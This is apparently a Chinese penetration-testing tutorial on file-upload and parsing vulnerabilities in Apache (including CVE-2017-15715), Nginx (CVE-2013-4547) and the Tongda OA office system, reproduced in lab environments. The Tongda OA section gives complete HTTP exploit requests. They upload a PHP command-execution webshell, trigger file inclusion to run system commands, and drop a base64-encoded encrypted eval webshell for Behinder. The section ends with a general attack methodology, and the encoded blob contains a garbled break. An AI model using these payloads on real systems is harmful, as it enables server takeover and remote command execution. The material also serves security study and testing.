中间件解析漏洞演示

1. 低版本apache解析漏洞

原理:
在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器中若此文件.yyy后缀不被解析,则依次向前解析,成功为止。
利用场景:
若探测到服务器中间件apache为较低版本的话,我们利用文件上传,上传一个不被识别的文件后置,利用解漏洞规则成功解析该文件,文件中的后门代码就会被触发。
简单演示:
准备两个后门文件,一个正常php后缀,一个php.xxx后缀
文件上传之解析漏洞编辑器安全_v8
成功解析:
文件上传之解析漏洞编辑器安全_v8_02

2. Apache HTTPD 换行解析漏洞(CVE-2017-15715)

漏洞原理

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

漏洞复现

开启靶场环境:

docker-compose build
docker-compose up -d

启动后访问8080端口:
文件上传之解析漏洞编辑器安全_php_03
上传php文件并抓包:
文件上传之解析漏洞编辑器安全_后缀_04
被拦截了
在1.php后面插入一个\x0A,(注意,不能是\x0D\x0A,只能是一个\x0A),不再被拦截:
文件上传之解析漏洞编辑器安全_上传_05
访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
文件上传之解析漏洞编辑器安全_v8_06

3. Nginx 文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
我们只需要上传一个空格结尾的文件,即可使PHP解析之。

漏洞复现

启动靶场环境:

docker-compose up -d

启动后访问8080端口可看到一个上传界面
文件上传之解析漏洞编辑器安全_文件上传_07
这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个“shell.gif ”,注意后面的空格:
文件上传之解析漏洞编辑器安全_后缀_08
访问http://your-ip:8080/uploadfiles/shell.gif[0x20][0x00].php,即可发现PHP已被解析:
文件上传之解析漏洞编辑器安全_文件上传_09

常见web编辑器简要分析

思路说明

有的网站中可能嵌入第三方web编辑软件比如:fckeditor、ewebeditor、ckeditor、kineditor等。
一些网站也可通过扫描获得编辑器信息,在其它地方不能突破时可以利用编辑器的漏洞进行getsell,可以在网上搜索相关编辑器漏洞利用即可。

CMS文件上传漏洞演示

通达OA办公系统

下载地址:
链接:https://pan.baidu.com/s/1vQ7-Yri0vXofjb8NqKBSFQ
提取码:qwer
下载后安装即可。
文件上传之解析漏洞编辑器安全_v8_10
默认用户admin密码为空。

漏洞分析

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

漏洞复现

1. 任意命令执行漏洞

路径为:ispirit/im/upload.php
抓包构造POC:

POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:999
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

发送POC:
文件上传之解析漏洞编辑器安全_上传_11
查看上传成功的文件:
文件上传之解析漏洞编辑器安全_php_12
前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,即可实现执行任意命令。此处执行命令“net user”

POST /ispirit/interface/gateway.php HTTP/1.1
Host: localhost:999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

json={"url":"/general/../../attach/im/2108/1005943624.jpg"}&cmd=net user

文件上传之解析漏洞编辑器安全_v8_13
执行命令“ipconfig”:
文件上传之解析漏洞编辑器安全_后缀_14

2.getshell

前台任意文件上传漏洞:抓取任意数据包,修改数据包进行重放,上传后缀为jpg的木马文件(木马文件执行写入文件操作)

Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1398

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$fp = fopen('shell.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC  ÿ
4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

文件上传之解析漏洞编辑器安全_后缀_15
查看生成的图片:
文件上传之解析漏洞编辑器安全_后缀_16
前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,会在/webroot/ispirit/interface/目录下生成一个 shell.php 文件。
成功执行:
文件上传之解析漏洞编辑器安全_php_17
查看/webroot/ispirit/interface/目录生成的shell文件:
文件上传之解析漏洞编辑器安全_文件上传_18
用冰蝎连接,/ispirit/interface/shell.php用冰蝎连接,http://localhost:999/ispirit/interface/shell.php
密码为:pass
文件上传之解析漏洞编辑器安全_文件上传_19

文件上传漏洞总结

文件上传漏洞大致思路

当我们拿到一个网站可通过扫描或手动查找是否有文件上传的地方,比如会员中心等地方。
也可通过数据包或指纹识别是何种中间件,如是低版本可以利用一些解析漏洞上传文件,进行黑白名单绕过测试。
再者知道是何种CMS的话可以利用CMS的漏洞。
一些网站使用第三方的编辑器,可以寻找编辑器的漏洞进行突破。
再者也可以找一些CVE编号漏洞进行利用。